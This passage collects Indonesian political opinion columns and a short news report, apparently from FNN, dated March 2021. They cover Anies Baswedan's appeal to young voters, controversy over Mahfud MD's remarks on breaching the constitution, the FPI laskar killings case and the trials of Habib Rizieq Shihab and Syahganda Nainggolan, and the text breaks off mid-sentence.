by R. Kholis Majdi Jakarta FNN - Anak muda butuh sosok idola. Mulai dari artis, hingga pemain sepakbola. Bagi kaum milenial, ini bisa jadi motivasi. Ketika seseorang punya idola, ia ingin hidup dan sukses seperti sosok yang diidolakan itu. Tentu, ini dibutuhkan sebagai daya ungkit dan pembangkit semangat. Di era digital, para politisi memiliki panggung media yang semakin luas. Mereka nggak kalah populer dengan para artis dan publik pigur lain pada umumnya. Anak-anak muda mulai melirik. Sebagian politisi mulai digandrungi dan jadi idolanya. Kalau dulu ada Budi Utomo, Bung Karno, Bung Hatta dan Tan Malaka yang pernah menghipnotis pikiran anak-anak muda, kini ada Anies Baswedan. Mantan rektor Paramadina, mantan Mneteri Pendidikan, dan penggagas Indonesia Mengajar yang sekarang menjadi Gubernur Ibu Kota Jakarta. Anies menjadi salah satu tokoh dan kepala daerah terpopuler hari ini. Anies adalah Gubernur DKI Jakarta. Malah banyak yang menyebut Gubernur Indonesia. Nama dan sosoknya hari-hari menghiasi media massa. Publik, termasuk kelompok milenial, melihat, mambaca dan menilai. Lalu, tertarik dan terpengaruh oleh pikirannya, kemudian mengidolakannya. Ada pergeseran positif. Dari cara kaum milenial yang hanya mengidolakan fisik dan penampilan, kini bergeser ke idola berbasis gagasan dan kecerdasan. Ini tugas orang tua, agamawan dan akademisi untuk terus menyuburkannya. Dengan pergeseran ini kita berharap Indonesia akan diisi oleh anak-anak muda yang punya masa depan cemerlang. Hasil Survei Indikator, Anies menempati posisi elektabilitas tertinggi di kalangan milenial. Kalau hari ini ada Pemilihan Presidsen (Pilpres), maka Anies menempati urutan pertama yang banyak dipilih oleh para pemilih dari kalangan milenial. Kenapa Anies digandrungi kelompok milenial? Pertama, karena Anies masih muda, dengan berpenampilan yang juga muda. Anak muda lebih sreg dan cocok jika dipimpin oleh tokoh muda dan berpenampilan muda. Usianya sekitar 50 tahun. Berpakaian rapi, dan selalu tampil bersahaja. Apalagi tampilannnya tidak dibuat-buat. Apa adanya. Kedua, Anies merangkul, bukan memukul. Cara komunikasi Anies menyejukkan. Nggak baperan juga. Nggak mudah tersinggung. Segala bentuk kritik, bahkan caci maki, dihadapi dengan senyum. Kaum milenial nggak suka dengan pemimpin yang pemarah, apalagi senang gebrak meja segala. Anak milenial ngga suka dengan semua aksi yang bikin suasana nggak nyaman. Ketiga, Anies satu kata dan perbuatan. Punya komitmen. Kalau bicara ada data, kalau janji ditepati. Anak-anak muda gak demen sama pemimpin yang mencla mencle, suka bohong dan ingkar janji. Keempat, banyak program Anies yang langsung menyentuh kebutuhan anak-anak muda. Mulai perluasan trotoar, jalur sepeda, taman terbuka, food court untuk semua strata, kenyamanan transportasi, hingga Stadion Bestandar internasional (JIS). Program-program ramah lingkungan macam ini secara natural digandrungi anak-anak muda. Kelima, udara yang semakin segar di wilayah Jakarta. Polusi udara semakin berkurang. Dan Jakarta menjadi kota urutan ke 20 terbersih udaranya di dunia. Aspek lingkungan ini menjanjikan masa depan yang sehat bagi anak-anak muda Jakarta. Fakta, bahwa langit Jakarta semakin membiru. Udara yang juga semakin bersih dan terang membuka perbukitan dan pegunungan di wilayah Bogor dan sekitarnya mulai jadi panorama yang indah dan sejuk di mata masyarakat Jakarta. Dari daerah Senin anda bisa melihat indahnya gunung Pangrango. Sedangkan dari Celilitan, Gunung Salak tampak semakin terang, dan dari Jalan Antasari, Gunung Gede kelihatan begitu dekat. Jakarta tak lagi pekat dengan asap, tetapi mulai dikelilingi pemandangan hijau dari pegunungan. Keenam, Anies pemimpin yang menjaga dedikasi dan integrity. Meski banyak fitnah dan tuduhan macam-macam, segala upaya menjatuhkan nama baik Anies justru menaikkan gelombang empati dan simpati publik. Terutama kaum milenial. Di tengah para pejabat yang mayoritas korup dan rakus, cucu pahlawan Abdurrahman Baswedan ini hadir dengan mengikuti jejak integritas dan kepahlawanan kakeknya. Inilah jiwa dan spirit anak muda yang sesungguhnya. Tidak mudah terkontaminasi. Sebuah trend anak muda masa kini. Punya kemandirian dan kedaulatan diri. Penulis adalah Pemerhati Kebijakan Publik.

Mahfud MD "The Wrong Man On The Wrong Place"

by Tamsil Linrung Jakarta FNN - Terdengar seperti fantasi. Tiba-tiba saja mencuat wacana pemerintah boleh melanggar konstitusi. Katanya, sah-sah saja bila dilakukan untuk keselamatan rakyat. Banyak yang terkaget-kaget dengan argumentasi Menteri Kordinator Bidang Politik Hukum dan Keamanan (Menkopolhukam) Mahfud MD ini. Tetapi, oleh Mahfud, yang kaget dianggap tidak belajar hukum tata negara. Sekali lagi, Menkopolhukam menyulut kontroversi. Sebagian pihak menganggap narasinya rawan bagi demokrasi. Sebagian lainnya menganggap cara sepihak pemerintah menafsirkan hukum. Memang tujuan utama sebuah negara adalah menjamin keselamatan rakyatnya. Hukum tertinggi adalah keselamatan rakyat, sebagaimana ucapan filsuf Romawi Kuno Cicero, Salus Populi Suprema Lex Esto. Asas hukum Cicero ini lalu banyak diadopsi negara di dunia, tidak terkecuali Indonesia. Konstitusi alinea keempat menyebut, Pemerintah Negara Indonesia melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia, dan memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, dan ikut melaksanakan ketertiban dunia. Jadi, menjaga dan melindungi keselamatan rakyat pada urutan pertama tujuan bernegara. Sepanjang menyangkut keselamatan rakyat, Menkopolhukam berpendapat pemerintah bisa melakukan apa saja, termasuk hal-hal yang sifatnya bertentangan dengan konstitusi. Persoalannya, sejauh mana "jualan" keselamatan rakyat dapat melegalisasi pemerintah menabrak konstitusi? Sulit menakarnya, karena kita tidak lagi berbicara teori, tetapi praktik pengelolaan negara dan politik. Celakanya, politik punya banyak aroma, warna, dan tipe. Dalam sebuah wawancara di Kompas TV, Mahfud menjelaskan panjang lebar tentang teori Salus Populi Suprema Lex Esto. Menkopolhukam sampai memberi contoh hingga dekrit presiden 5 Juli 1959, Surat Perintah 11 Maret, hingga penggulingan rezim Soeharto. Menurutnya, semua itu adalah pelanggaran konstitusi yang tidak perlu mendapat persetujuan hukum. Teks Versus Konteks Narasi Menkopolhukam Mahfud MD banyak direspon secara terpisah menjadi perdebatan hukum. Fahri Hamzah misalnya, mengatakan "keselamatan rakyat adalah hukum tertinggi", tidak berarti "pemerintah boleh melanggar konstitusi bila dilakukan untuk keselamatan rakyat". Mantan ketua Mahkamah Konstitusi yang kini Anggota DPD RI Prof. Jimly Asshiddiqie, mengatakan negara dilarang keras melanggar UUD 1945. Jika pun ada situasi bahaya yang berkembang, pemerintah bisa memberlakukan situasi darurat atau menetapkan keadaan bahaya. Di luar perdebatan hukum tersebut, kita yang bukan pakar hukum tata negara pun merasa memang ada yang aneh pada argumen Menkopolhukam. Karena yang disampaikan dalam konteks penanganan Covid, maka tidaklah salah bila pikiran yang meresponnya juga berangkat dari perspektif penanggulangan Covid-19. Faktanya, penanganan Covid-19 mengundang pertanyaan di sana-sini. Menteri Sosial Juliari Batubara sendiri dijerat dalam kasus Korupsi Dana Bantuan Sosial Covid-19. Belum lagi kebijakan penanganan pandemi yang seringkali memantik polemik. Di tengah situasi itu, tiba-tiba disebutkan pemerintah bisa melanggar konstitusi demi menyelematkan rakyat dari bahaya pandemi. Teks melekat pada konteks, lalu melahirkan wacana. Tetapi soal di atas, agak sulit kita menemukan relasi antara kesesuaian teks dan konteks, sehingga timpang dalam menumbuhkan wacana. Yang terjadi kemudian, pemaksaan wacana tersebut berpotensi memicu pikiran liar berkembang lebih jauh lagi. Tempo hari, Arief Poyuono mengatakan Presiden Joko Widodo harus legowo menjadi presiden tiga periode demi menyelamatkan rakyat dari bencana dampak pandemi. Lalu, bagaimana jika atas nama menyelematkan rakyat dari pandemi, lantas usulan yang menabrak konstitusi itu diamini Pemerintah? Atau sebaliknya, bagaimana jika nalar rakyat menghubungkan Dekrit Presiden 5 Juli 1959, Supersemar, penggulingan rezim Soeharto, dengan potensi jatuhnya rezim Jokowi di tengah jalan? Tentu kita tidak menginginkan keduanya. Kita mendukung pemerintahan berjalan hingga akhir, tetapi juga mendorong agar pengelolaan negara menjadi semakin baik, bukan sebaliknya. Maka narasi pejabat seharusnya relevan dengan situasi. Bukan sekadar teori yang memunggungi realitas. Sebuah tulisan singkat Tony Rosyid beredar secara berantai di WhatsApp. Tulisan ini merespon kudeta Partai Demokrat (PD) dengan sejumlah varian skenario. Di akhir tulisan, Tony bertanya-tanya, apakah kudeta PD adalah bagian dari tafsir "konstitusi boleh dilanggar untuk keselamatan rakyat"? Lagi-lagi, narasi Menkopolhukam disematkan dalam konteks yang lain. Sebuah bukti tambahan, bahwa teori yang tidak memijak kokoh pada konteks atau situasi yang digambarkan, selain gagal memunculkan wacana tertentu, juga berpotensi memunculkan wacana lain oleh pihak lain. Tidak Membumi Bukan kali ini saja Menkopolhukam menelurkan argumen beraroma positif, tetapi berakhir kontroversial karena dianggap tidak menapak pada realitas. Jejak digitalnya mudah ditemukan. Pada 18 Maret 2021 misalnya, Mahfud MD meminta agar masyarakat yang berbeda keyakinan tak saling membenci dan memusuhi karena perbedaan agama. Padahal, kita tahu bahwa sentimen keagamaan semakin menguat, seiring dengan menguatnya labelisasi radikal, intoleran, yang tak jarang justru berasal dari pejabat pemerintahan. Belum lagi dengungan para buzzer politik yang menambah runyam situasi politik nasional. Mahfud MD menyerukan rakyat agar memerangi ketidakadilan. Padahal ketidakadilan dipertontonkan aparat penegak hukum melalui penangkapan sejumlah aktivis oposisi. Sementara laporan terhadap sejumlah aktivis media sosial pendukung pemerintah jarang yang diproses lebih lanjut. Jadi, ada kesan pemerintah punya dan mementingkan pendapatnya sendiri. Tanpa mau tahu apa yang dirasakan masyarakat. Mungkin ada benarnya juga pendapat Pendiri Partai Umat Amien Rais. Dalam sebuah kesempatan, politisi senior ini menilai Mahfud telah berubah dan saat ini lebih sebagai representasi ungkapan the wrong man on the wrong place. Dulu, kita mengenal Mahfud dengan pikirannya yang kritis, tajam, dan dalam. Sekarang pun sebenarnya begitu. Pak Mahfud masih tetap dengan keilmuannya. Yang berbeda adalah situasinya. Saat ini beliau menjadi bagian dari pemerintahaan yang punya banyak problem dalam pengelolaan negara, sehingga komentar-komentar idealisnya terkesan tidak bermutu, tidak membumi atau tidak memijak kenyataan. Tentu tidak sedang mengadili sosok beliau secara pribadi. Kita sedang membicarakan cara pemerintah membangun argumentasi atas kebijakan-kebijakannya. Kebetulan yang sering merespon situasi dan gejolak sosial politik adalah Mahfud MD selaku Menkopolhukam di Kabinet Indonesia Maju. Tidaklah keliru cuitan lawas Mahfud MD saat merespon politik uang dalam Pemilihan Kepala daerah. "Malaikat saja kalau masuk ke dalam sistem Indonesia, akan berubah menjadi Iblis". Penulis adalah Senator DPD RI.

TP3 Menjawab Menko Polhukam Mahfud MD

by Dr. Marwan Batubara Jakarta FNN - Audiensi Presiden Jokowi dengan Tim Pengawal Peristiwa Pembunuhan (TP3) enam anggora Laskar Fron Pembela Islam (FPI) telah berlangsung Selasa, 9 Maret 2021 di Istana Negara. Presiden Jokowi didampingi Menko Polhukam Mahfud MD dan Mensekneg Pratikno. TP3 yang dipimpin oleh M. Amien Rais datang bersama Abdullah Hehamahua, Muhyiddin Junaidi, Marwan Batubara, Firdaus Syam, Wirawan Adnan dan Ansufri Sambo. Setelah audiensi, pada hari yang sama, Mahfud MD menggelar konferensi pers, menyebar link YouTube dan wawancara eksklusif (TVOne) secara sepihak. Selain itu, ada kalangan yang coba menggiring opini ke arah isu bernuansa politik pencitraan. Hasil pemilu 2019 yang diduga banyak masalah dan memakan korban ratusan orang tewas, perlu di-endorse semua pihak. Karena itu, perlu ada yang bersuara. Pesannya, karena Amien datang ke istana, telah terjadi rekonsiliasi antara Jokowi dengan Amien Rais. Kedatangan Amien Rais bersama anggota TP3 tidak ada urusan dengan rekonsiliasi. Pemilu 2019 yang diduga sarat kecurangan dan pengorbanan petugas KPPS biarlah jadi catatan sejarah kelam. Kelak harus dipertanggungjawab pelakunya di hari kemudian. Bagi TP3 kejahatan kemanusiaan yang menewaskan enam anak bangsa secara brutal dan sarat penyiksaan oleh aparat negara adalah masalah yang sangat besar untuk ditumpangi isu rekonsiliasi. TP3 paham, siapa saja sebetulnya pihak yang mendambakan pengakuan dan endorsement! Pemerintah berhak melakukan konprensi pers secara sepihak. Namun sesuai kebiasaan dan etika moral, pihak-pihak yang terlibat di satu pertemuan wajar mengadakan konprensi pers bersama. Terutama untuk menunjukkan kebersamaan, mencegah misinformasi, menghilangkan disinformasi, menghidari penggiringan opini sesuai kepentingan sepihak. Konprensi pers bersama juga layak dilakukan untuk mencegah agar tidak ada pihak yang merasa lebih unggul atau mendominasi kebenaran. Terkait konpres Mahfud itu, TP3 perlu memberi catatan. Bagi TP3, sepanjang yang diungkap itu objektif, faktual dan fair, tentu tidak ada masalah. Namun faktanya ada hal-hal yang TP3 anggap tidak lengkap, distortif, tidak objektif, tendensius atau spekulatif, untuk tidak mengatakan manipulatif. Karenanya perlu diklarifikasi atau dijawab. Hal-hal tersebut akan diuraikan berikut ini. Kata Mahfud, “TP3 datang tanpa bukti, karena pada dasarnya memang tidak punya bukti. Sejak awal kami tahu mereka tidak punya data gitu. Dan betul tadi tidak ada data yang disampaikan, bukti yang disampaikan tidak ada. Cuma pernyataan”. Padahal, sebagaimana dimuat dalam Surat TP3 4 Februari 2021, tujuan TP3 beraudiensi adalah guna membuka jalan bagi penyampaian masukan dan temuan-temuan sejujur-jujurnya. TP3 menyatakan ingin ikut berperan mengawal penuntasan kasus pembunuhan enam laskar FPI, setelah melihat adanya beberapa versi temuan yang tidak objektif. TP3 menuntut agar kasus tersebut diselesaikan melalui proses pengadilan objektif, transparan dan adil. Dengan terwujudnya audiensi 9 Maret 2021, TP3 berhasil mendapatkan dua komitmen penting dari Presdien Jokowi yang perlu dicatat. Pertama, pemerintah siap menerima masukan dan bukti-bukti yang akan diserahkan TP3. Kedua, pemerintah akan terlibat aktif, sesuai wewenang, menuntaskan kasus pembunuhan enam laskar secara transparan dan berkeadilan. Karena itu, mari kita catat dua janji Presiden Jokowi tersebut. Mari kita tunggu realisasi janji tersebut dalam proses hukum yang kelak berlangsung. Bahwa itu tersebut bukan cuma omong-kosong atau basa-basi. Selain itu, publik diharap tidak tergiring dengan penjelasan Mahfud yang distortif dan misleading. Kata Mahfud, "namun jika ada yang mengungkapkan hal tersebut mengalami kejadian HAM berat, maka mana buktinya. Mana bukti pelanggaran HAM berat, mana bukti ya, bukan kenyakinan. Jika ada, Pemerintah menunggu, secuil apapun buktinya. Terkait bukti, TP3 menyatakan akan menyampaikan pada waktunya. Bukti-bukti milik TP3 kelak berupa data dan informasi yang telah beredar di publik. Sudah dipublikasi Komnas HAM, maupun sama sekali baru (karena selama ini tersembunyi, disembunyikan atau dimanipulasi). Bukti-bukti TP3 bisa sama dengan Komnas HAM. Namun diyakini sebagian bukti telah direkayasa atau tak dimanfaatkan seutuhnya oleh Komnas HAM, sehingga diperoleh laporan dan rekomendasi yang tidak kredibel dan manipulatif. TP3 paham yang berfungsi mencari alat-alat bukti adalah negara. Bukan perorangan, keluarga korban atau kelompok masyarakat seperti TP3. Tapi karena sudah committed mengawal kasus pembunuhan, dan berjanji akan menyampaikan, TP3 akan menyerahkan bukti-bukti dan hasil analisisnya segera. Esensi jawaban TP3 atas komentar Mahfud, Tujuan TP3 beraudiensi adalah untuk menyatakan sikap dan meminta komitmen Presiden Jokowi. TP3 datang beraudiensi sesuai surat 4 Februari 2021, bukan untuk menyerahkan dan membahas bukti-bukti, karena sadar itu bukan forum yang tepat. Namun bukan berarti TP3 tidak punya bukti seperti diklaim Mahfud. Pada waktunya bukti-bukti itu diserahkan. Karena itu sepanjang bukti-bukti yang akan diserahkan objektif, faktual dan valid, TP3 meminta agar tak dicarikan alasan-alasan untuk mengabaikan atau menolak. Kita minta Mahfud dan pemerintah bersikap konsisten, fair dan ksatria. Kata Mahfud, “kalau bicara pengadilan HAM itu, satu tidak bisa Presiden. Pak Amien Rais dulu yang buat undang-undang itu tahun 2000 ketika beliau ketua MPR. Yang menentukan pengadilan HAM atau bukan, itu Komnas HAM. Disitu disebutkan Komnas HAM yang menyelidiki, Komnas HAM yang menentukan sesuatu itu melewati pengadilan HAM atau tidak”. Persepsi TP3, intinya Mahfud membangun opini dan menggiring pemahaman masyarakat ke arah yang sesat dan meyesatkan. Penjelasannya sebagai berikut. Komnas HAM dibentuk sesuai UU. UU tersebut dibuat tahun 2000 di eranya oleh Amien Rais dan kawan-kawan. Era Amien jadi anggota DPR. Lalu Presiden memerintahkan Komnas HAM mengusut kasus sesuai UU tersebut. Kalau TP3 permasalahkan sikap pemerintah yang percaya hasil Komnas HAM, dan menjalankan pula rekomendasinya, maka salahkanlah siapa pembuat UU, dan itu salah satunya Amien Rais. Jawaban TP3 sebagai berikut. Pertama, ada dua UU terkait HAM yang dibentuk periode Amien Rais jadi Anggota DPR/MPR, yaitu UU HAM No.39/1999 dan UU Pengadilan HAM No.26/2000. Untuk kasus pembunuhan enam laskar berkategori kejahatan kemanusiaan itu, Komnas HAM yang menerima “Perintah” Presiden, mestinya menggunakan UU No.26/2000. Tapi justru Komnas HAM dengan sengaja memilih menggunakan UU No.39/1999. Maka jelas kesimpulan dan rekomendasi tidak valid, bermasalah dan tidak berlaku untuk penuntasan kasus sesuai proses hukum selanjutnya. Kedua, penyimpangan atas penerapan berbagai ketentuan UU sudah kerap terjadi. Meskipun ketentuan dalam UU itu sudah sesuai UUD 1945, kepentingan publik dan berbagai azas pembentukan UU. Hal itu terjadi pula dalam pengusutan kasus pembunuhan enam laskar FPI. UU yang disebutkankan Mahfud sudah berisi berbagai ketentuan yang sesuai konstitusi dan azas-azas yang dipersyaratkan. Masalahnya, pengguna UU, terutama pemerintah dan Komnas HAM menyimpangkan implementasinya. Lalu penyimpangan ini ditutupi dengan menyalahkan para pembuat UU. Maka sesuai keinginan dan rekayasa Mahfud, terjerat dan terseretlah Amien Rais yang saat itu menjadi Angota DPR/MPR. Ketiga, kegiatan yang telah dilakukan Komnas HAM dalam mengusut kasus, dan membuat rekomendasi adalah pemantauan, bukan penyelidikan. Bagaimana bisa proses hukum lanjutan berstatus penyidikan atau penuntututan? Selain itu, sudahlah menggunakan UU yang salah, Komnas HAM pun membuat rekomendasi yang melampaui kewenangan. Bagaimana bisa rakyat mempercayai penyelenggara negara dan Komnas HAM, jika proses hukum yang dijalankan bermasalah sejak awal, in the first place? Keempat, ada hal-hal mengapa TP3 menganggap Laporan dan Rekomendasi Komnas HAM bermasalah dan tidak kredibel. Salah satunya persetujuan pengadilan sebelum Komnas HAM lakukan pemantauan, seperti diatur dalam Pasal 89 Ayat 3 UU No.39/2009. Kalau belum memperoleh persetujuan Pengadilan, maka Komnas HAM sangat nyata telah melanggar ketentuan UU. Jika proses “pemantauan” Komnas HAM saja sudah bermasalah, bagaimana publik percaya dengan hasil dan rekomendasinya? Karena itu, agar konsisten dengan Pembukaan UUD 1945, dimana negara berkewajiban mencerdaskan kehidupan bangsa, pemerintah dituntut konsisten menegakkan hukum dan keadilan sesuai dengan Pancasila, konstitusi dan UU yang berlaku. Rakyat harus diberi informasi dan penjelasan yang objektif, transparan dan mencerdaskan. Jauh dari konten yang distortif, spekulatif, tendesius dan sarat rekayasa. UU yang digunakan harus sesuai dengan konteks dan azas penegakan hukum terhadap kasus yang sedang diusut. Jauh dari direkayasa guna memenuhi kepentingan sempit oknum-oknum penguasa! TP3 menuntut agar rekayasa dan manipulasi proses hukum, termasuk “memanfaatkan” Komnas HAM secara melanggar hukum dalam penuntasan kasus pembunuhan ini harus dicegah. Sebaliknya, Komnas HAM sebagai lembaga independen yang dibentuk sesuai perintah UU dan amanat konstitusi, mestinya berfungsi melindungi dan menjalankan kepentingan rakyat. Komnas HAM bukan justru terlibat atau tunduk pada kepentingan oknum-oknum kekuasaan. Kepada Mahfud, TP3 berharap bisa membuat pernyataan yang akurat, objektif, fair, serta tidak distortif dan tendensius. Langkah ini minimal bisa dimulai dengan konprensi yang tidak sepihak. Penulis adalah Badan Pekerja TP3 Enam Laskar FPI

Sidang Offline HRS: Penyusup Bisa Buat Onar dan Kembali Online

by Asyari Usman Medan, FNN - Hari ini, 26 Maret 2021, adalah hari pertama sidang offline (hadir langsung di ruang sidang) yang akan dijalani oleh Habib Rizieq Syihab (HRS). Di persidangan sebelumnya, majelis hakim PN Jakarta Timur mengabulkan permohonan HRS agar sidang-sidang selanjutnya bisa dia hadiri langsung. HRS sangat berkepentingan hadir langsung. Di samping perjuangan yang pasti all-out dari tim pembelanya, HRS sendiri ingin memastikan agar dia mendengarkan langsung tanpa hambatan teknis dan psikologis apa-apa yang diucapkan oleh semua pihak di ruang pengadilan. Mengapa ada hambatan teknis dan psikologis di persidangan online (daring)? Hambatan teknis tentu saja sudah sama-sama dipahami. Bagi HRS, tampaknya ada hambatan psikologis kalau dia tetap mengikuti sidang daring. Pertama, bisa saja ada perasaan bahwa sidang itu tidak serius, padahal dia sangat serius. HRS tentu telah menyiapkan diri secara maksimum. Dia pasti sudah tahu kekuatan dirinya dan sudah paham pula tentang pihak-pihak yang dihadapinya. Kedua, HRS adalah orang yang sudah terbiasa beradu argumentasi dengan cerdas, tegas, tapi santun di ruang sidang. Berbicara lewat daring pastilah terasa “kosong”. Terasa seperti seminar daring, barangkali. Ketiga, berada di ruang sidang dan langsung menghadapi hakim, jaksa dan tim hukum, akan membuat HRS bisa menatap langsung orang-orang yang betul-betul hadir untuk menegakkan keadilan atau yang hanya hadir sebagai “perpanjangan tangan”. Untuk mendapatkan persetujuan sidang offline ini bukan perjuangan yang ringan. HRS dan tim hukum sudah menyampaikan jaminan bahwa para pendukung Imam Besar itu tidak akan menimbulkan masalah kalau mereka datang ke PN Jakarta Timur. Ketika dia berusaha meyakinkan majelis hakim tentang sidang offline, HRS mengatakan dia akan mengeluarkan imbauan kepada para pendukung agar tertib dan mengikuti protokol kesehatan Covid-19. Di sini, para pendukung HRS perlu sangat berhati-hati jika mereka memutuskan untuk datang ke lokasi sidang. Sebab, bisa saja ada orang-orang tak dikenal yang sengaja disseludupkan ke kawasan di sekitar PN Jakarta Timur untuk menimbulkan keonaran. Kalau nanti terjadi keributan, maka sangat mungkin pihak yang berwenang akan mengembalikan persidangan ke sistem daring (online) dengan alasan keamanan dan ketertiban (kamtib). Ini sangat mungkin terjadi. Sangat mungkin. Bisa di sidang hari ini atau di sidang-sidang selanjutnya. Jadi, untuk kepentingan agar HRS tetap bisa sidang offline sampai selesai, para pendukung sebaiknya memikirkan dengan matang perlu-tidaknya hadir di lokasi sidang. Atau, kalau pun merasa perlu hadir, hendaknya memahami betul aspek-aspek negatif yang bisa muncul di lapangan.[] Penulis adalah Wartawan Senior FNN.co.id.

Waduh, Polisi Terduga Pembunuh Laskar FPI Tewas

by Asyari Usman Medan, FNN - Salah satu polisi terlapor pembunuh 4 laskar FPI dikatakan tewas dalam kecelakaan. Sewaktu mengikuti gelar perkara pembunuhan itu. Dari berbagai pemberitaan, tak jelas kapan gelar perkara dilaksanakan dan di mana. Tiba-tiba saja Kadiv Humas Polri Irjen Argo Yuwono kemarin (25/3/2021) muncul dengan pengumuman tewas karena kecelakaan. Polri harus transparan soal ini. Tewas karena apa? Kalau sakit, apa sakitnya? Siapa nama polisi itu? Apa pangkatnya? Publik harus diberitahu secara lengkap. Tidak bisa hanya bilang, “Terlapor meninggal dunia,” tanpa menguraikan kronologi lengkap. Semua pihak menuntut agar semua orang di jajaran Polri tidak menutupi peristiwa apa pun. Kepolisian adalah lambaga publik yang dibiayai oleh dana publik. Karena itu, publik berhak mengetahui apa saja yang melibatkan personel kepolisian. Janganlah lagi menyangka publik akan diam saja. Atau menerima begitu saja penjelasan pimpinan Polri. Era itu sudah jauh ditinggalkan. Penulis adalah Wartawan Senior FNN.co.id.

Jaksa Kebingungan, Sidang Tuntutan Syahganda Nainggolan Ditunda

DEPOK, FNN -- Sidang lanjutan terhadap mantan aktivis mahasiswa ITB Dr Syahganda Nainggolan, Kamis (26/3/2021), terpaksa ditunda hanya karena Jaksa Penuntut Umum belum siap dengan tuntutan hukumnya. Syahganda Nainggolan ditangkap, ditahan dan diadili atas tuduhan penyebaran berita bohong terkait kasus penghasutan demo menolak UU Cipta Lapangan Kerja (Omnibus law). Akhirnya Ramon Wahyudi, Ketua Majelis Hakim PN Depok, Jabar, memutuskan sidang ditunda hingga 1 April 2021. Seperti pada sidang sebelumnya, proses persidangan terhadap Syahganda Nainggolan ini dilakukan secara virtual. "Kami belum ada tuntutan karena belum siap, Yang Mulia. Mohon diberi kesempatan untuk selanjutnya," kata jaksa Ivan Rinaldi dalam sidang di PN Depok, Jabar. Penasihat hukum Syahganda Nainggolan, Abdullah Al Katiri, yang ditanya wartawan seusai sidang mengatakab tidak heran kalau Jaksa Penuntut Umum menyatakan belum siap membacakan tuntutan. "Jaksa Kebingungan harus menuntut apa kepada terdakwa. Sebab di persidangan tidak ada fakta hukum yang membuktikan Syahganda telah melakukan perbuatan pidana," ungkap Alkatiri. Bahkan, lanjut Alkatiri, saksi yang dihadirkan jaksa pun justru meringankan terdakwa. Oleh karena itu, pihaknya merasa yakin kliennya Syahganda Nainggolan bisa bebas dari tuntutan hukum. Alkatiri meyakini majelis hakim yang mengadili Syahganda Nainggolan bisa bersikap profesional dan objektif. Dalam kasus ini, Syahganda didakwa menyebarkan berita bohong terkait kasus penghasutan demo menolak omnibus law yang berujung ricuh di Jakarta akhir tàhun 2020 lalu. Syahganda didakwa melanggar Pasal 14 ayat 1 Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana dan/atau Pasal 14 ayat (2) dan Pasal 15 UU Nomor 1 Tahun 1946 tentang Peraturan Hukum Pidana. Dalam pasal ini, Syahganda terancam pidana penjara 10 tahun. Sidang yang semula dijadwalkan jam 10 pagi, molor hingga jam 1 siang. Sidang ini juga dihadiri para aktivis Pro Demokrasi. Setelah sidang, mereka memberikan semangat kepada Syahganda yang berada di Bareskrim Mabes Polri. (TG)

Rakyat Boleh, Eh Bisa Dong Melanggar Konstitusi

by M. Rizal Fadillah Bandung FNN - Meski dijelaskan Menteri Kordinator Bidang Politik Hukum dan Kemannan (Menko Polhukam) Mahfud MD bahwa dalam beberapa kasus ketatanegaraan ada perbuatan yang di luar, bahkan melanggar konstitusi. Namun narasi ini menimbulkan banyak interpretasi di masyarakat. Ada yang pro. Tetapi lebih banyak yang mengecam. Masalah utamanya adalah Mahfud MD itu sekarang menjabat sebagai Menko Polhukam. Bukan sebagai Profesor Doktor atau seorang dosen yang sedang mengajar Ilmu Hukum Tata Negara di kampus. Apa jadinya kalau semua pejabat negara bicara tentang kebolehan melanggar konstitusi dan aturan perundang-undangan lainnya. Bisa semakin ruwet dan awut-awutan tata kelola negara. Presiden ketika dilantik oleh Majelis Permusyawataran Rakyat (MPR) menyampaikan sumpah yang disaksikan Ketua Mahkamah Agung dan seluruh rakyat Indonesia. Salah poin sumpah Presiden adalah taat kepada suluruh peraturan perundang-undang yang berlaku. Nah, di atas perundang-undangan itu ada yang konstitusi negara. Ngerti nggak ya Mahfud MD? Sebagai "embah" nya politik di pemerintahan Jokowi, maka bahasa demi menyelamatkan rakyat boleh melanggar Konstitusi ini bisa sangat berbahaya. Apalagi dicontohkan kebolehan melanggar Konstitusi yang dihubungkan dengan pandemi Covid 19. Masyarakat mulai berfikir pantas saja jika Presiden mengeluarkan Perppu No 1 tahun 2020 yang membebaskan penggunaan dana APBN untuk penanggulangan pandemi Covid 19 tanpa sanksi hukum. Ini melabrak konstitusi. Fungsi konstitusi, baik dalam sejarah maupun aktualnya, tiada lain dan tida bukan adalah untuk membatasi kekuasaan penyelenggara negara. Penguasa maupun rakyat diatur hak dan kewajiban serta pembatasannya oleh Konstitusi. Konstitusi dibuat bukan untuk dilanggar. Penguasa yang melanggar Konstitusi bisa di-impeachment. Demikian Hukum Tata Negara atau Constitutional Law mengaturnya. Ketika Mahfud MD dengan penuh keyakinan menyatakan bahwa dibenarkan melanggar Konstitusi demi rakyat, tentu menjadi kontroversial. Apalagi dengan mengecilkan pihak yang melakukan penolakan atas pandangan ini sebagai "tidak belajar Hukum Tata Negara". Padahal yang mempertanyakan pernyataan Mahfud MD mungkin juga pakar Hukum Tata Negara. Bila beralasan "demi rakyat" bisa melanggar Konstitusi, maka pertanyaannya siapa yang berhak untuk menyatakan demi menyelamatkan rakyat? Penguasa, wakil rakyat, atau rakyat itu sendiri ? Lalu jika ia mencontohkan turunnya Soekarno, Soeharto, Gus Dur itu melanggar Konstitusi, apakah yang dibilah oleh Mahfud MD itu benar? Faktanya Soekarno diturunkan berdasarkan Tap MPRS No XXXIII/MPRS/1967. Sementara Suharto dengan mengundurkan diri (menyatakan berhenti sebagai presiden sejak dibacakan). Begitu juga dengan Gus Dur, yang dilengserkan melalui Tap MPR No. II/MPR/2001. Jadi jelas bahwa seluruhnya berdasarkan konstitusional. Tidak ada yang dilanggar. Ngaco dan ngawur saja Mahfudz. Ungkapan Mahfud di depan Silaturahmi Forkominda dan Tokoh masyarakat di Markas Kodam Brawijaya dinilai lebih pada mencari pembenaran atas kebijakan Pemerintah. Padahal kebijakan tersebut jelas-jelas melanggar Konstitusi. Alibi melanggar konstitusi untuk menyelamatkan rakyat adalah dalil subyektif dalam pengambilan kebijakan karena panik. Jika pengambil kebijakan boleh melanggar konstitusi dengan alasan menyelamatkan rakyat, maka bolehkah rakyat berjuang untuk menyelamatkan dirinya dengan melanggar Konstitusi? Jika ya tentu menjadi semangatlah rakyat untuk segera menumbangkan rezim dengan berbagai cara termasuk revolusi. Toh menurut Mahfud MD itu bisa saja. Sebenarnya pidato Mahfud MD yang kontroversial itu justru telah mencemarkan mereka yang belajar Hukum Tata Negara. Pelajaran dasar 